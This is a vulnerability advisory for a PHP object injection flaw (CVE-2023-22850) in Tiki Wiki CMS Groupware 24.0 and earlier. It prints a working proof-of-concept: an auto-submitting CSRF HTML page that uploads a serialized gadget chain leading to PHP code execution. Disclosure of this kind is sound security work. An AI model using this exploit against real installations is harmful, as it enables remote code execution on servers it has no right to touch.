Tiki Wiki CMS Groupware <= 24.0 (grid.php) PHP Object Injection Vulnerability

• Software Link:

• Affected Versions:

Version 24.0 and prior versions.

• Vulnerability Description:

The vulnerability is located in the /lib/sheet/grid.php script, specifically into the TikiSheetSerializeHandler::_load() method, which is using the unserialize() PHP function with user-controlled input. This can be exploited by malicious users to inject arbitrary PHP objects into the application scope, allowing them to perform a variety of attacks, such as executing arbitrary PHP code. Successful exploitation of this vulnerability requires the “Spreadsheets” feature to be enabled and an account with permissions to create a new sheet. However, due to the CSRF vulnerability described in KIS-2023-01, this vulnerability might also be exploited by tricking a victim user into opening a web page like the following:

<html>
 <form action="http://localhost/tiki/tiki-import_sheet.php?sheetId=1" method="POST" enctype="multipart/form-data">
  <input type="hidden" name="handler" value="TikiSheetSerializeHandler" />
  <input type="file" name="file" id="fileinput"/>
 </form>
 <script>
  const popChain = 'O:25:"Search_Elastic_Connection":1:{S:31:"\00Search_Elastic_Connection\00bulk";O:28:"Search_Elastic_BulkOperation":3:{S:35:"\00Search_Elastic_BulkOperation\00count";i:1;S:38:"\00Search_Elastic_BulkOperation\00callback";S:14:"call_user_func";S:36:"\00Search_Elastic_BulkOperation\00buffer";a:2:{i:0;O:22:"Tracker_Field_Computed":3:{S:32:"\00Tracker_Field_Abstract\00itemData";a:1:{S:6:"itemId";i:1;}S:31:"\00Tracker_Field_Abstract\00options";O:15:"Tracker_Options":1:{S:21:"\00Tracker_Options\00data";a:1:{S:7:"formula";S:14:"null;phpinfo()";}}S:41:"\00Tracker_Field_Abstract\00trackerDefinition";O:18:"Tracker_Definition":0:{}}i:1;S:12:"getFieldData";}}}';
  const fileInput = document.getElementById("fileinput");
  const dataTransfer = new DataTransfer();
  const file = new File([popChain], "test");
  dataTransfer.items.add(file);
  fileInput.files = dataTransfer.files;
  document.forms[0].submit();
 </script>
</html>

• Solution:

Upgrade to version 24.1 or later.

• Disclosure Timeline:

[07/03/2022] – Vendor notified

[23/08/2022] – Version 24.1 released

[09/01/2023] – Public disclosure

• CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2023-22850 to this vulnerability.

• Credits:

Vulnerability discovered by Egidio Romano.